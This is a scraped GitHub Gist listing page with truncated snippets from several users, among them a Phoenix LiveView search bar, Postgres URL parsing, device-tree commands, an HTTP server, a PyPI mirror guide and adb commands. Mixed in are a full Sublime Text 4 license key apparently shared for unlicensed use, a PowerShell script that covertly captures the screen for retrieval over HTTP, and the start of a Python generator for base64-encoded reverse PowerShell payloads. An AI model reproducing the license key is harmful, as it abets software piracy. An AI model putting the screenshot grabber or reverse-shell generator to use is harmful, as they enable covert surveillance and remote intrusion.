Skip to content

Instantly share code, notes, and snippets.

@caspg
caspg / 1_searchbar_live.ex
Last active May 2, 2024 12:40
Example of real-time search bar implementation in Phoenix LiveView and Tailwind. Working example on https://travelermap.net/parks/usa
defmodule TravelerWeb.SearchbarLive do
use TravelerWeb, :live_view
alias Phoenix.LiveView.JS
alias Traveler.Places
def mount(_params, _session, socket) do
socket = assign(socket, places: [])
{:ok, socket, layout: false}
end
#!/usr/bin/env bash
DATABASE_URL="postgres://MyPostgresUser:MyPostgresPassword@192.168.0.1:5432/MyPostgresDB"
# `cut` is used to cut out the separators (:, @, /) that come matched with the groups.
DATABASE_USER=$(echo $DATABASE_URL | grep -oP "postgres://\K(.+?):" | cut -d: -f1)
DATABASE_PASSWORD=$(echo $DATABASE_URL | grep -oP "postgres://.*:\K(.+?)@" | cut -d@ -f1)
DATABASE_HOST=$(echo $DATABASE_URL | grep -oP "postgres://.*@\K(.+?):" | cut -d: -f1)
DATABASE_PORT=$(echo $DATABASE_URL | grep -oP "postgres://.*@.*:\K(\d+)/" | cut -d/ -f1)
# Decompile
dtc -I dtb -O dts -o devicetree.dts /boot/dtb/<your_devicetree_file_name>.dtb
# Compile
dtc -I dts -O dtb devicetree.dts -o <your_devicetree_file_name>.dtb
# Merge with DTBO
fdtoverlay -i modified-base.dtb -o modified-full.dtb /boot/tegra194-p3668-all-p3509-0000-user-custom.dtbo
# DTS from fs
@skoqaq
skoqaq / build4123.sublime4.key
Last active May 2, 2024 12:36
Sublime Text 4 License Key
—– BEGIN LICENSE —–
Mifeng User
Single User License
EA7E-1184812
C0DAA9CD 6BE825B5 FF935692 1750523A
EDF59D3F A3BD6C96 F8D33866 3F1CCCEA
1C25BE4D 25B1C4CC 5110C20E 5246CC42
D232C83B C99CCC42 0E32890C B6CBF018
B1D4C178 2F9DDB16 ABAA74E5 95304BEF
9D0CCFA9 8AF8F8E2 1E0A955E 4771A576
@tothi
tothi / PrtSc_Screenshotter.ps1
Created September 16, 2023 20:00
Capture screenshot by sending PrtSc key using PowerShell and grab it through HTTP with a Python CGI receiver
# dependency
Add-Type -AssemblyName System.Windows.Forms
# send PrtSc key (= capture the screen to the clipboard)
[Windows.Forms.Sendkeys]::SendWait("{PrtSc}")
# save the image as PNG in memory
$png = New-Object System.IO.MemoryStream
[Windows.Forms.Clipboard]::GetImage().Save($png, [System.Drawing.Imaging.ImageFormat]::Png)
@tothi
tothi / mkpsrevshell.py
Created February 17, 2019 00:05
reverse PowerShell cmdline payload generator (base64 encoded)
#!/usr/bin/env python3
#
# generate reverse powershell cmdline with base64 encoded args
#
import sys
import base64
def help():
print("USAGE: %s IP PORT" % sys.argv[0])
@Integralist
Integralist / Python3 HTTP Server.py
Last active May 2, 2024 12:35
Python3 HTTP Server.py
import time
from http.server import BaseHTTPRequestHandler, HTTPServer
HOST_NAME = 'localhost'
PORT_NUMBER = 9000
class MyHandler(BaseHTTPRequestHandler):
def do_HEAD(self):
self.send_response(200)
@aschmu
aschmu / pypi-mirror.md
Last active May 2, 2024 12:34
Setting up a PyPi mirror

I) Introduction

Taken from: [https://groups.google.com/forum/#!topic/devpi-dev/S-3ioWILTiY]).

We wanted to do some python developpement but we had a problem : our working network is completely isolated from any internet access, only having servers providing services like distribution packages repository mirror and web servers. The question then was how to make a full pypi mirror for usig pip install and pip search.

This is possible to be done using devpi, a web server, bandersnatch and an external hard drive. The idea is to dump all pypi packages with bandersnatch, transfer them to the server with the hard drive,

@ernestkamara
ernestkamara / AdbCommands
Created June 26, 2018 08:42 — forked from Pulimet/AdbCommands
Adb useful commands list
== Adb Server
adb kill-server
adb start-server
== Adb Reboot
adb reboot
adb reboot recovery
adb reboot-bootloader
== Shell
@JARVIS-AI
JARVIS-AI / README.md
Last active May 2, 2024 12:32
The Iris Dataset